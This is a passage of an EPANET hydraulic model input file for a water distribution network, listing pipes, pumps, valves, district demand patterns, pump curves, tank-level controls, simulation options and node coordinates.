J30 142.58 152 79.37276275 0 Open ; + P942 J26 J27 85.08 152 83.59468263 0 Open ; + P943 J81 J28 84.21 76 86.77484454 0 Open ; + P944 J26 J31 59.58 254 82.35304046 0 Open ; + P946 J30 J31 143.03 102 98.06099167 0 Open ; + P947 J28 J32 122.43 152 76.80448613 0 Open ; + P948 J32 J29 74.71 152 104.8490736 0 Open ; + P949 J31 J35 24.39 254 92.68704895 0 Open ; + P95 J140 J145 50.7 305 118.4307393 0 Open ; + P951 J257 J37 338.8 254 94.71306209 0 Open ; + P953 J37 J35 495.66 254 85.4054411 0 Open ; + P954 J36 J34 294.07 203 78.6689048 0 Open ; + P955 J34 J33 131.74 102 85.18129613 0 Open ; + P956 J34 J38 115.17 152 68.25287125 0 Open ; + P957 J38 J33 51.05 152 98.15140681 0 Open ; + P958 J38 J32 122.41 102 105.3080501 0 Open ; + P959 J33 J28 123.42 102 98.22065346 0 Open ; + P96 J414 J417 53.72 254 87.90275096 0 Open ; + P961 J444 J366 234.55 203 85.65392299 0 Open ; + P962 J6 J1058 49.83 152 90.74777544 0 Open ; + P963 J366 J205 93.54 203 85.5303454 0 Open ; + P964 J205 J369 129.91 152 96.26374712 0 Open ; + P965 J205 J367 135.06 203 93.94273938 0 Open ; + P966 J367 J206 31.32 203 82.50879936 0 Open ; + P967 J206 J200 207.54 203 82.10707555 0 Open ; + P968 J200 J198 68.17 102 78.39635991 0 Open ; + P969 J200 J1154 149.16 203 86.26720664 0 Open ; + P97 J154 J155 24.41 610 88.89531663 0 Open ; + P970 J1154 J199 165.04 203 87.79507815 0 Open ; + P971 J367 J370 136.94 152 77.82946049 0 Open ; + P972 J370 J1158 219.42 152 82.66945023 0 Open ; + P973 J1158 J365 164.68 203 71.9318762 0 Open ; + P974 J365 J444 186.4 203 72.71874828 0 Open ; + P975 J369 J365 159.56 152 74.72359293 0 Open ; + P976 J359 J358 83.33 76 83.20228114 0 Open ; + P977 J89 J91 45.98 102 102.4316821 0 Open ; + P978 J358 J355 178.97 76 78.85562406 0 Open ; + P98 J156 J154 174.53 610 71.75234195 0 Open ; + P981 J361 J351 36.19 76 80.21622813 0 Open ; + P982 J351 J349 87.24 203 98.51140755 0 Open ; + P983 J349 J352 180.2 101.6 91.89644795 0 Open ; + P984 J349 J381 16.03 101.6 108.9554876 0 Open ; + P986 J381 J348 229.54 101.6 87.08395905 0 Open ; + P987 J348 J232 94.56 101.6 96.40637069 0 Open ; + P988 J232 J382 9.74 101.6 102.5172429 0 Open ; + P989 J1153 J1155 91.59 51 82.07033197 0 Open ; + P99 J110 J109 452.37 508 96.63823156 0 Open ; + P990 J1155 J1154 78.87 102 85.78766419 0 Open ; + P991 J214 J202 20.25 203 74.3133426 0 Open ; + P992 J202 J314 69.15 203 80.64075409 0 Open ; + P993 J314 J199 63.52 203 80.23202717 0 Open ; + P994 J199 J1157 115.39 203 83.09435479 0 Open ; + P995 J1157 J201 228.99 152 82.49961346 0 Open ; + P996 J332 J201 10.22 203 84.57606945 0 Open ; + P997 J201 J308 154.87 203 96.61744961 0 Open ; + P998 J308 J204 107.98 203 90.64077339 0 Open ; + P999 J203 J341 81.67 254 68.70464794 0 Open ; + +[PUMPS] +;ID Node1 Node2 Parameters + PU1 J285 J273 HEAD 8 ; + PU2 J280 J269 HEAD 8 ; + PU3 J276 J274 HEAD 8 ; + PU4 J299 J292 HEAD 9 ; + PU5 J300 J256 HEAD 9 ; + PU6 J289 J415 HEAD 10 ; + PU7 J290 J291 HEAD 10 ; + PU8 J301 J304 HEAD 9 ; + PU9 J302 J306 HEAD 9 ; + PU10 J307 J317 HEAD 11 ; + PU11 J309 J323 HEAD 11 ; + +[VALVES] +;ID Node1 Node2 Diameter Type Setting MinorLoss + v1 J35 J88 203.2 PRV 40 0.0000 ; + V45 J253 J130 152.4 PRV 40 0.0000 ; + V47 J129 J169 101.6 PRV 40 0.0000 ; + V2 J14 J422 254 TCV 0 0 ; + +[TAGS] + +[DEMANDS] +;Junction Demand Pattern Category + +[STATUS] +;ID Status/Setting + PU1 Closed + PU2 Open + PU3 Closed + PU4 Closed + PU5 Closed + PU6 Closed + PU7 Closed + PU8 Closed + PU9 Closed + PU10 Closed + PU11 Closed + V2 Closed + v1 Open + V45 Open + V47 Open + +[PATTERNS] +;ID Multipliers +; + DMA1_pat 0.5691504 0.46466868 0.43854825 0.3604161 0.309779115 0.334524795 + DMA1_pat 0.384703515 0.471542475 0.55013289 0.680505915 0.70364769 0.67088259 + DMA1_pat 0.79690221 0.719915685 0.770552655 0.73847493 0.81477408 0.72426909 + DMA1_pat 0.806983785 0.779259465 0.866785815 0.740766195 0.67042434 0.632389335 + DMA1_pat 0.52252044 0.506709855 0.445588455 0.45465063 0.47547432 0.53389635 + DMA1_pat 0.662501925 0.62239704 0.67599876 0.72593706 0.803061855 0.70144995 + DMA1_pat 0.69335184 0.653825385 0.621432975 0.65228289 0.571880295 0.57901434 + DMA1_pat 0.58209933 0.711668985 0.70453494 0.665779725 0.741747645 0.692194965 + DMA1_pat 0.72708954 0.619247205 0.46304505 0.45095511 0.309260895 0.282421215 + DMA1_pat 0.433303785 0.40670589 0.545014905 0.69928266 0.739904895 0.6434271 + DMA1_pat 0.680905935 0.691061505 0.67727895 0.626259375 0.626742975 0.7142742 + DMA1_pat 0.681873135 0.788264685 0.75779802 0.788264685 0.802047225 0.845571045 + DMA1_pat 0.604884255 0.443633715 0.5131584 0.36476118 0.31782714 0.463887405 + DMA1_pat 0.39572595 0.64149669 0.671098245 0.668761275 0.79456785 0.674603685 + DMA1_pat 0.754255215 0.808394895 0.713747835 0.68570427 0.68122509 0.549576105 + DMA1_pat 0.68219883 0.569829795 0.74334939 0.832154025 0.67888812 0.746270595 + DMA1_pat 0.601325505 0.503529285 0.51908778 0.35946171 0.29924835 0.453216765 + DMA1_pat 0.42957594 0.539495655 0.896330625 0.89673474 0.682552935 0.57990732 + DMA1_pat 0.428969775 0.4200792 0.62941161 0.691039395 0.670631505 0.618904575 + DMA1_pat 0.682552935 0.832884315 0.90279648 0.821771115 0.84945309 0.691039395 + DMA1_pat 0.716292135 0.54775281 0.53349507 0.419645895 0.35601804 0.33814266 + DMA1_pat 0.45241743 0.509874015 0.56456418 0.760767795 0.62159517 0.67820055 + DMA1_pat 0.6928839 0.639257745 0.619892745 0.659686755 0.65628192 0.631809675 + DMA1_pat 0.604145385 0.70394961 0.772471905 0.88546986 0.88334184 0.752042895 + DMA1_pat 0.71409849 0.457925235 0.446544345 0.42936957 0.40184853 0.43309422 + DMA1_pat 0.469926885 0.52227894 0.590771145 0.754862745 0.76996827 0.644778585 + DMA1_pat 0.73210098 0.70954614 0.548144565 0.577734855 0.592426545 0.624499935 + DMA1_pat 0.55973238 0.766864395 0.716995455 0.77452062 0.90446958 0.85749759 +; + DMA2_pat 0.61842105 0.45394737 0.444736845 0.3381579 0.31578948 0.313157895 + DMA2_pat 0.414473685 0.448684215 0.49868421 0.58157895 0.684210525 0.72763158 + DMA2_pat 0.669736845 0.79210527 0.66842106 0.815789475 0.771052635 0.830263155 + DMA2_pat 0.807894735 0.793421055 0.83552631 0.83684211 0.677631585 0.661842105 + DMA2_pat 0.567746055 0.470813805 0.470813805 0.42607584 0.428206215 0.474009375 + DMA2_pat 0.57946314 0.623135925 0.683851725 0.774392835 0.77119728 0.79569663 + DMA2_pat 0.66254793 0.73604601 0.71154666 0.59544099 0.63485301 0.616744785 + DMA2_pat 0.58159353 0.596506185 0.700894755 0.650830845 0.71580741 0.73178526 + DMA2_pat 0.681082545 0.73368099 0.49901097 0.373583895 0.315590715 0.276479055 + DMA2_pat 0.347959005 0.461247975 0.528681885 0.625786725 0.66894444 0.7647006 + DMA2_pat 0.66624708 0.651411615 0.75660852 0.561050175 0.655457655 0.64466823 + DMA2_pat 0.71614818 0.840226575 0.771443985 0.790325475 0.848318655 0.821345085 + DMA2_pat 0.66520308 0.501646545 0.49286499 0.41602635 0.361141605 0.437980245 + DMA2_pat 0.394072455 0.654226125 0.60592755 0.81119649 0.769484085 0.64324917 + DMA2_pat 0.69703623 0.67618002 0.70801317 0.70801317 0.705817785 0.538968165 + DMA2_pat 0.58068057 0.565312845 0.75411636 0.825466515 0.693743145 0.793633365 + DMA2_pat 0.75185274 0.5080086 0.48529764 0.380109975 0.33707865 0.39445374 + DMA2_pat 0.48410232 0.64188381 0.812813775 0.84628257 0.68252451 0.59287593 + DMA2_pat 0.42553191 0.41955534 0.583313415 0.6239541 0.58689936 0.562993065 + DMA2_pat 0.659813535 0.811618455 0.811618455 0.882142005 0.85823571 0.857040405 + DMA2_pat 0.670350795 0.574243155 0.502162425 0.43248438 0.373618455 0.35439693 + DMA2_pat 0.467323395 0.46612206 0.59346468 0.717203265 0.58625661 0.58625661 + DMA2_pat 0.6811629 0.647525235 0.68957232 0.716001915 0.70759251 0.68236425 + DMA2_pat 0.660740025 0.734022105 0.806102835 0.796492065 0.8421432 0.71239788 + DMA2_pat 0.59427819 0.4651884 0.494262675 0.44541789 0.326794845 0.512870205 + DMA2_pat 0.514033185 0.525662895 0.58264848 0.60125601 0.77919057 0.66289347 + DMA2_pat 0.68266398 0.72918282 0.5896263 0.603581955 0.588463335 0.65940456 + DMA2_pat 0.625678395 0.6977826 0.78267948 0.81756861 0.929213835 0.789657315 +; + DMA3_pat 0.54445029 0.481325625 0.422146245 0.35507628 0.32351394 0.359021565 + DMA3_pat 0.41031036 0.47343504 0.56023146 0.67464492 0.75355077 0.729879015 + DMA3_pat 0.670699635 0.7338243 0.70620726 0.76144134 0.714097845 0.83640189 + DMA3_pat 0.871909515 0.7377696 0.725933715 0.74960547 0.670699635 0.7338243 + DMA3_pat 0.587013555 0.426322695 0.44271972 0.413205075 0.432881505 0.491910795 + DMA3_pat 0.554219505 0.67883691 0.754263225 0.74442501 0.793616085 0.682116315 + DMA3_pat 0.695233935 0.646042845 0.593572365 0.59685177 0.639484035 0.646042845 + DMA3_pat 0.64276344 0.682116315 0.728027985 0.67883691 0.69195453 0.75754263 + DMA3_pat 0.7140936 0.70199031 0.50430339 0.395373855 0.314685315 0.28644432 + DMA3_pat 0.41958042 0.431683695 0.49623453 0.697955895 0.58902636 0.693921465 + DMA3_pat 0.693921465 0.766541145 0.693921465 0.5809575 0.70602474 0.70199031 + DMA3_pat 0.66568047 0.823023135 0.738300165 0.859332975 0.814954275 0.71005917 + DMA3_pat 0.60602679 0.485491065 0.455357145 0.391741065 0.368303565 0.411830355 + DMA3_pat 0.408482145 0.662946435 0.602678565 0.703125 0.65959821 0.619419645 + DMA3_pat 0.709821435 0.810267855 0.763392855 0.8203125 0.763392855 0.599330355 + DMA3_pat 0.6796875 0.60602679 0.689732145 0.813616065 0.703125 0.666294645 + DMA3_pat 0.622706415 0.57454128 0.454128435 0.36811926 0.330275235 0.44036697 + DMA3_pat 0.4059633 0.61926606 0.89105505 0.94610091 0.739678905 0.564220185 + DMA3_pat 0.457568805 0.40252293 0.670871565 0.64678899 0.591743115 0.557339445 + DMA3_pat 0.622706415 0.82568808 0.89105505 0.85321101 0.75344037 0.770642205 + DMA3_pat 0.745526835 0.59269383 0.48832008 0.380218695 0.335487075 0.37649106 + DMA3_pat 0.44731611 0.562872765 0.525596415 0.71570577 0.63742545 0.58151094 + DMA3_pat 0.674701785 0.667246515 0.63742545 0.641153085 0.67097415 0.68588469 + DMA3_pat 0.6001491 0.730616295 0.8499006 0.86853876 0.84244533 0.7417992 + DMA3_pat 0.6641934 0.527764485 0.513403545 0.45955002 0.359023455 0.477501195 + DMA3_pat 0.527764485 0.56366682 0.610339875 0.63547152 0.8006223 0.71804691 + DMA3_pat 0.61393011 0.60674964 0.62111058 0.61393011 0.71804691 0.574437525 + DMA3_pat 0.581617995 0.667783635 0.678554325 0.91550982 0.825753945 0.72522738 +; + DMA4_pat 0.52452531 0.448575945 0.43670886 0.31803798 0.31803798 0.327531645 + DMA4_pat 0.424841775 0.43196202 0.574367085 0.664556955 0.69066456 0.740506335 + DMA4_pat 0.761867085 0.764240505 0.71914557 0.68591772 0.828322785 0.828322785 + DMA4_pat 0.74525316 0.80933544 0.830696205 0.702531645 0.77373417 0.65031645 + DMA4_pat 0.497324115 0.45033285 0.438585045 0.4346691 0.426837225 0.532567545 + DMA4_pat 0.634381935 0.708784755 0.76360788 0.71661663 0.761649915 0.79493538 + DMA4_pat 0.76948179 0.62655006 0.59913849 0.58347474 0.60109647 0.59326458 + DMA4_pat 0.56781099 0.59326458 0.628508025 0.771439755 0.698994915 0.8066832 + DMA4_pat 0.731355255 0.66639936 0.534081795 0.39695268 0.324779475 0.257417805 + DMA4_pat 0.423416205 0.43785084 0.548516445 0.69286287 0.61347234 0.75060144 + DMA4_pat 0.772253415 0.673616685 0.695268645 0.663993585 0.579791505 0.685645545 + DMA4_pat 0.67121091 0.83239776 0.73857258 0.878107455 0.75060144 0.680833995 + DMA4_pat 0.67206477 0.487854255 0.530364375 0.414979755 0.346153845 0.421052625 + DMA4_pat 0.467611335 0.578947365 0.65991903 0.710526315 0.720647775 0.619433205 + DMA4_pat 0.71862348 0.71255061 0.763157895 0.70850202 0.6659919 0.526315785 + DMA4_pat 0.62955465 0.63360324 0.716599185 0.76518219 0.7611336 0.769230765 + DMA4_pat 0.716646015 0.584469225 0.499793475 0.396530355 0.311854605 0.452292435 + DMA4_pat 0.4378356 0.607187115 0.824039655 0.830235435 0.745559685 0.6464271 + DMA4_pat 0.419248245 0.46468401 0.59066502 0.636100785 0.59273028 0.660883935 + DMA4_pat 0.70425444 0.743494425 0.75175548 0.81164808 0.875671215 0.695993385 + DMA4_pat 0.66012042 0.58486239 0.498853215 0.432196095 0.341886465 0.348337155 + DMA4_pat 0.46875 0.520355505 0.53110665 0.64076835 0.645068805 0.58056192 + DMA4_pat 0.6880734 0.73107798 0.733228215 0.66227064 0.66012042 0.642918585 + DMA4_pat 0.62141628 0.75258027 0.78698394 0.80633601 0.84073968 0.82138761 + DMA4_pat 0.592819365 0.473838015 0.46131366 0.45505149 0.37364319 0.44670192 + DMA4_pat 0.457138875 0.475925415 0.651266355 0.738936825 0.72641247 0.707625945 + DMA4_pat 0.66170331 0.64500417 0.638742 0.617868075 0.66170331 0.642916785 + DMA4_pat 0.632479815 0.713888115 0.778597275 0.74311161 0.930976905 0.77233509 +; + DMA5_pat 0.536089695 0.44148564 0.40732305 0.28644009 0.32323056 0.33111423 + DMA5_pat 0.3679047 0.504555015 0.588647505 0.622810095 0.725297835 0.73843728 + DMA5_pat 0.769971975 0.69376314 0.69376314 0.75946041 0.814646115 0.806762445 + DMA5_pat 0.851436585 0.814646115 0.76734408 0.71478627 0.79887876 0.64120533 + DMA5_pat 0.55547391 0.49595886 0.454077885 0.436443795 0.49816311 0.53122704 + DMA5_pat 0.61058046 0.601763415 0.745040415 0.745040415 0.689933865 0.68111682 + DMA5_pat 0.654665685 0.68111682 0.62821455 0.59515062 0.63923586 0.614988975 + DMA5_pat 0.65686995 0.58853784 0.614988975 0.740631885 0.826598085 0.71418075 + DMA5_pat 0.766876695 0.70477047 0.4860486 0.36723672 0.30783078 0.30783078 + DMA5_pat 0.40774077 0.44824482 0.50495049 0.68316831 0.66426642 0.73987398 + DMA5_pat 0.69396939 0.64266426 0.772277235 0.55355535 0.58865886 0.758775885 + DMA5_pat 0.65346534 0.826282635 0.818181825 0.815481555 0.812781285 0.6750675 + DMA5_pat 0.655253835 0.45823494 0.52021842 0.354191265 0.34312278 0.438311685 + DMA5_pat 0.45823494 0.626475795 0.668536005 0.75044274 0.719451 0.697314045 + DMA5_pat 0.768152295 0.803571435 0.63311688 0.66410862 0.728305785 0.59327037 + DMA5_pat 0.672963405 0.66632232 0.60655254 0.799144035 0.7216647 0.653040135 + DMA5_pat 0.6371388 0.55660824 0.558976785 0.41686404 0.305542395 0.42870678 + DMA5_pat 0.41686404 0.59687352 0.779251545 0.83135955 0.743723355 0.67740408 + DMA5_pat 0.45712932 0.414495495 0.549502605 0.575556615 0.618190425 0.603979155 + DMA5_pat 0.667929885 0.81951681 0.78162009 0.902415915 0.878730465 0.78162009 + DMA5_pat 0.702570165 0.57067974 0.454007445 0.426107535 0.367771395 0.352553265 + DMA5_pat 0.443862015 0.50219817 0.598579635 0.733006425 0.6898884 0.58336152 + DMA5_pat 0.765979035 0.613797765 0.644234025 0.649306725 0.644234025 0.62394318 + DMA5_pat 0.593506935 0.76090632 0.763442685 0.88011498 0.84206967 0.79387893 + DMA5_pat 0.59737737 0.48324429 0.44924721 0.43224867 0.3569694 0.446818845 + DMA5_pat 0.50024283 0.5755221 0.66779991 0.752792625 0.755220975 0.628946085 + DMA5_pat 0.721223895 0.66294318 0.541525005 0.55852356 0.582807195 0.67022826 + DMA5_pat 0.672656625 0.66779991 0.755220975 0.88392423 0.847498785 0.78921807 + +[CURVES] +;ID X-Value Y-Value +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 6 16.88889 156.7 + 6 19.5 146.5 + 6 22.13889 136.2 + 6 25.94445 117.9 + 6 33.33334 50 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 7 18.25 75 + 7 23.38889 64 + 7 30.63889 46 + 7 38.88889 0 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 4 30.12222 221.76 + 4 37.63612 202.41 + 4 43.73056 182.16 + 4 47.22223 160 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 5 31.91389 217.27 + 5 37.87778 201.91 + 5 42.55278 187.15 + 5 50 140 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 2 9.888889 72.2 + 2 12.52778 62.3 + 2 13.33333 57.9 + 2 18.05556 0 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 3 11.30278 76.59 + 3 12.65833 68.19 + 3 14.03056 60.29 + 3 18.05556 0 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 1 3.997222 64.86 + 1 41.90556 48.48 + 1 56.13611 43.96 + 1 69.46667 39.56 + 1 77.29445 34.53 + 1 97.66111 28.83 + 1 138.8889 1 +;PUMP: + 8 0 70 + 8 60 50 + 8 100 30 +;PUMP: + 9 0 90 + 9 30 70 + 9 50 30 +;PUMP: + 10 0 120 + 10 30 110 + 10 70 30 +;PUMP: + 11 0 90 + 11 30 50 + 11 40 10 + +[CONTROLS] +; ----------- Tank 1 --------------- +LINK PU1 OPEN IF NODE T1 BELOW 4 +LINK PU1 CLOSED IF NODE T1 ABOVE 6.3 + +LINK PU2 OPEN IF NODE T1 BELOW 1 +LINK PU2 CLOSED IF NODE T1 ABOVE 4.5 + +; ----------- Valve to T2 --- +LINK V2 OPEN IF NODE T2 BELOW .5 +LINK V2 CLOSED IF NODE T2 ABOVE 5.5 + +; ----------- T3 --- +LINK PU4 OPEN IF NODE T3 BELOW 3 +LINK PU4 CLOSED IF NODE T3 ABOVE 5.3 + +LINK PU5 OPEN IF NODE T3 BELOW 1 +LINK PU5 CLOSED IF NODE T3 ABOVE 3.5 + +; ----------- T4 --- +LINK PU6 OPEN IF NODE T4 BELOW 2 +LINK PU6 CLOSED IF NODE T4 ABOVE 3.5 + +LINK PU7 OPEN IF NODE T4 BELOW 3 +LINK PU7 CLOSED IF NODE T4 ABOVE 4.5 + +; ----------- T5 --- +LINK PU8 OPEN IF NODE T5 BELOW 1.5 +LINK PU8 CLOSED IF NODE T5 ABOVE 4.0 + +; ----------- T7 --- +LINK PU10 OPEN IF NODE T7 BELOW 1.5 +LINK PU10 CLOSED IF NODE T7 ABOVE 4.8 + +LINK PU11 OPEN IF NODE T7 BELOW 0.5 +LINK PU11 CLOSED IF NODE T7 ABOVE 3 + + +[RULES] + + + + + + + + + + + + + + + +[ENERGY] + Global Efficiency 70.0000 + Global Price 0 + Demand Charge 0.0000 + Pump PU1 Price 1.0000 + Pump PU2 Price 1.0000 + Pump PU3 Price 1.0000 + Pump PU4 Price 1.0000 + Pump PU5 Price 1.0000 + Pump PU6 Price 1.0000 + Pump PU7 Price 1.0000 + Pump PU8 Price 1.0000 + Pump PU9 Price 1.0000 + Pump PU10 Price 1.0000 + Pump PU11 Price 1.0000 + +[EMITTERS] +;Junction Coefficient + +[QUALITY] +;Node InitQual + +[SOURCES] +;Node Type Quality Pattern + +[REACTIONS] +;Type Pipe/Tank Coefficient + + +[REACTIONS] + Order Bulk 1.00 + Order Tank 1.00 + Order Wall 1 + Global Bulk 0.000000 + Global Wall 0.000000 + Limiting Potential 0 + Roughness Correlation 0 + +[MIXING] +;Tank Model + +[TIMES] + Duration 24 + Hydraulic Timestep 0:05 + Quality Timestep 0:05 + Pattern Timestep 1:00 + Pattern Start 0:00 + Report Timestep 0:05 + Report Start 0:00 + Start ClockTime 0:00:00 + Statistic NONE + +[REPORT] + Status No + Summary No + Page 0 + +[OPTIONS] + Units LPS + Headloss H-W + Specific Gravity 1.000000 + Viscosity 1.000000 + Trials 100 + Accuracy 0.00100000 + CHECKFREQ 2 + MAXCHECK 10 + DAMPLIMIT 0 + Unbalanced Continue 10 + Pattern 1 + Demand Multiplier 1 + Emitter Exponent 0.5000 + Quality NONE mg/L + Diffusivity 1.000000 + Tolerance 0.01000000 + DEMAND MODEL PDA + MINIMUM PRESSURE 0 + REQUIRED PRESSURE 20 + PRESSURE EXPONENT 0.5 + + +[COORDINATES] +;Node X-Coord Y-Coord + J511 -246643.52 150768.11 + J411 -248212.98 148750.19 + J414 -247493.99 148416.24 + J415 -246594.18 149477.91 + J416 -246486.73 149817.86 + J417 -247408.47 148278.46 + J418 -246985.61 148482.76 + J419 -246866.83 148824.85 + J310 -247788.57 148853.36 + J311 -247845.59 148962.64 + J312 -247850.34 149138.43 + J313 -247802.83 149048.16 + J314 -248553.52 149542.29 + J315 -248634.29 149613.56 + J316 -248943.12 149247.71 + J318 -247964.37 148976.89 + J319 -248030.89 148896.12 + J210 -248791.08 149048.16 + J211 -248900.36 149390.25 + J212 -248672.30 149242.96 + J214 -248495.29 148973.68 + J217 -248681.81 149471.02 + J218 -248767.33 149299.98 + J219 -247413.22 150126.69 + J110 -247921.61 147893.61 + J420 -246919.09 148962.64 + J421 -247060.44 148293.87 + J422 -246957.10 148767.84 + J1153 -247793.32 149509.03 + J1154 -247988.12 149547.04 + J1155 -247874.09 149551.79 + J425 -246759.83 149576.07 + J426 -246649.40 149729.45 + J1157 -247870.26 149649.69 + J427 -246649.40 149594.48 + J1158 -247931.11 149437.76 + J428 -247978.62 148382.99 + J429 -248002.38 148297.46 + J320 -247617.53 148915.13 + J321 -247555.76 148763.09 + J322 -247451.23 148767.84 + J324 -247545.10 148625.15 + J1056 -248271.79 148956.04 + J327 -247684.04 148981.64 + J1058 -246843.07 148050.40 + J328 -247589.02 149057.66 + J329 -247517.75 149086.17 + J220 -247384.72 150017.41 + J221 -247650.79 149356.99 + J225 -249057.15 149171.69 + J226 -249218.70 149029.16 + J50 -247845.59 149276.22 + J51 -247788.57 149366.49 + J53 -247612.78 150639.83 + J54 -247723.02 150717.18 + J128 -247446.48 151143.46 + J55 -247802.77 150140.49 + J129 -247140.19 151214.11 + J56 -247608.02 150250.23 + J57 -247527.25 150155.20 + J58 -247688.80 150388.01 + J59 -247551.01 149960.40 + J1160 -247379.97 148131.17 + J1161 -247194.67 148226.19 + J431 -247802.83 148088.41 + J432 -247579.52 148159.68 + J433 -247741.06 148235.70 + J434 -247935.86 148487.51 + J435 -248007.13 148107.41 + J436 -247973.87 148230.95 + J438 -248026.13 148644.30 + J1169 -246120.89 148877.12 + J439 -248030.89 148449.50 + J330 -247636.53 149143.19 + J331 -247598.52 149214.45 + J332 -247538.97 149631.29 + J333 -248368.22 149946.15 + J334 -248262.89 150005.52 + J335 -248506.01 149941.39 + J336 -248648.55 149912.89 + J337 -248857.60 149722.84 + J231 -247037.88 148853.36 + J232 -247132.90 148843.86 + J233 -246827.31 149717.18 + J234 -246913.17 149873.54 + J236 -247281.30 150502.45 + J237 -247408.47 150445.03 + J130 -247698.30 151076.94 + J131 -247109.52 151079.14 + J132 -247199.42 150943.91 + J133 -247280.19 150967.66 + J60 -247484.49 150055.42 + J134 -246919.09 150364.26 + J135 -246995.51 149926.48 + J62 -247650.79 150131.44 + J64 -247565.26 150720.60 + J65 -247446.94 150674.23 + J66 -247612.78 150426.02 + J67 -247630.99 150551.53 + J68 -247855.09 150658.83 + J69 -247950.11 150497.29 + J1170 -246291.93 148881.87 + J441 -246519.12 149644.17 + J444 -248244.69 149157.44 + J341 -248610.54 149798.86 + J344 -246282.43 148739.33 + J345 -246149.39 148739.33 + J347 -246396.46 148748.83 + J348 -247151.91 148725.08 + J349 -247322.95 148853.36 + J241 -247455.99 150273.98 + J242 -247322.95 150226.47 + J243 -247342.65 150152.76 + J244 -247470.24 150364.26 + J245 -247551.24 150367.49 + J246 -247037.88 150516.30 + J247 -247170.87 150477.91 + J248 -247033.12 150316.74 + J249 -247208.92 150378.51 + J142 -248363.47 148668.06 + J143 -248558.27 148729.83 + J70 -248011.88 150435.52 + J144 -248696.06 148672.81 + J71 -247888.66 150796.93 + J72 -248040.39 150692.09 + J73 -247796.64 150778.53 + J74 -248078.40 150616.07 + J76 -247851.85 150447.24 + J77 -247969.12 150777.61 + J78 -247912.10 149337.99 + J350 -246111.38 149062.41 + J351 -247417.98 148896.12 + J352 -247223.17 149005.40 + J353 -247351.46 149033.91 + J354 -247541.51 148881.87 + J355 -247305.84 148569.94 + J358 -247246.93 148653.81 + J359 -247170.91 148630.05 + J250 -247299.19 150311.99 + J251 -246796.64 150257.06 + J252 -246486.73 150240.72 + J253 -247436.98 151034.18 + J254 -247565.26 151152.96 + J257 -246638.77 150207.46 + J154 -246391.71 147798.58 + J155 -246500.98 147798.58 + J82 -247893.10 149204.95 + J156 -246301.43 147793.83 + J83 -247940.61 149081.42 + J84 -247189.27 150152.76 + J85 -247201.54 150269.33 + J159 -246692.34 147821.47 + J86 -247256.43 150050.67 + J87 -247056.88 150026.92 + J89 -247341.96 151305.00 + J360 -247227.93 148530.27 + J361 -247398.97 148611.05 + J362 -247408.47 149124.18 + J363 -246532.83 149938.04 + J364 -246649.40 149876.69 + J365 -248230.44 149309.48 + J366 -248344.47 149247.71 + J1208 -247256.43 149157.44 + J367 -248477.50 149399.75 + J369 -248287.45 149361.74 + J160 -246577.00 147812.84 + J161 -246961.86 147675.05 + J162 -246771.81 147513.51 + J163 -247227.93 147803.33 + J164 -246871.58 147675.05 + J91 -247262.89 151306.14 + J165 -246895.34 147770.08 + J166 -246895.34 147556.27 + J167 -246890.59 147432.74 + J94 -245797.80 148363.98 + J95 -247774.32 147884.11 + J96 -247622.28 147950.62 + J97 -247717.30 147964.88 + J976 -248468.00 148706.07 + J571 -247099.64 150635.08 + J572 -247164.73 150717.18 + J573 -247361.05 151207.98 + J574 -247441.73 151243.24 + J575 -247161.41 150858.38 + J576 -246937.74 150539.26 + J370 -248173.42 149447.26 + J371 -246630.99 150054.60 + J372 -249128.42 148934.13 + J373 -249180.69 148843.86 + J374 -248981.13 148934.13 + J375 -249014.39 149090.92 + J376 -249128.42 149067.17 + J377 -248800.59 148900.87 + J1219 -247660.29 147741.57 + J379 -249275.71 148929.38 + J171 -247332.45 147546.77 + J172 -247199.42 147485.00 + J173 -247332.45 147751.07 + J174 -247109.14 147432.74 + J175 -247085.39 147575.27 + J177 -247622.28 147808.09 + J179 -247774.32 147817.59 + J580 -246686.28 150677.84 + J486 -246995.11 150801.37 + J487 -247066.57 150876.69 + J488 -246974.55 150686.50 + J489 -247080.64 150986.67 + J381 -247322.95 148739.33 + J1223 -248795.84 149190.70 + J382 -247118.65 148948.38 + J384 -247161.41 149214.45 + J385 -246876.33 150098.19 + J180 -247227.93 147570.52 + J181 -247123.40 147698.81 + J1024 -248287.45 148587.29 + J183 -247408.47 147708.31 + J1025 -248225.69 148468.51 + J186 -247413.22 147627.54 + J187 -247265.94 147622.79 + J188 -247536.76 147565.77 + J189 -247446.48 147561.02 + J490 -246876.39 150753.99 + J491 -247072.71 150784.66 + J492 -246913.20 150858.28 + J493 -247226.08 151054.60 + J494 -246771.81 150668.33 + J495 -246881.08 150616.07 + J496 -246781.31 150511.54 + J497 -246765.96 150803.07 + J498 -246857.33 150483.04 + J500 -246610.26 150920.15 + J499 -246471.48 150925.77 + J501 -246440.81 150864.42 + J502 -246391.73 150956.44 + J503 -246462.97 150782.36 + J504 -246538.97 151036.20 + J394 -246173.15 149604.06 + J509 -246325.19 150806.12 + J399 -246287.43 149888.96 + J401 -246348.78 149809.20 + J406 -246201.54 149661.96 + J295 -248026.13 149290.47 + J407 -246424.96 149665.82 + J296 -248116.41 149228.71 + J408 -248235.19 148268.96 + J297 -247536.76 149299.98 + J298 -247712.55 149242.96 + J191 -247479.74 147461.24 + J303 -247897.85 148858.11 + J192 -247033.12 147850.85 + J193 -246957.10 147926.87 + J305 -247817.08 148758.33 + J194 -247493.99 147793.83 + J195 -247584.27 147651.29 + J196 -247375.21 147850.85 + J308 -248005.22 149796.93 + J198 -248311.21 149594.55 + J200 -248149.67 149547.04 + J199 -248250.62 149698.77 + J201 -247741.42 149704.91 + J202 -248591.53 149366.49 + J203 -248734.07 149594.55 + J204 -248306.46 149798.86 + J205 -248472.75 149314.23 + J206 -248339.72 149513.78 + J207 -248477.50 149499.53 + J208 -248843.35 149613.56 + J101 -247926.36 148017.14 + J102 -247812.33 147993.38 + J109 -248045.14 148007.64 + J1 -247075.89 147770.08 + J2 -247536.76 147694.06 + J3 -247265.94 148064.65 + J4 -247508.25 148007.64 + J5 -247641.28 148045.65 + J6 -247042.63 147988.63 + J7 -247170.91 147964.88 + J8 -246990.36 148221.44 + J9 -247109.14 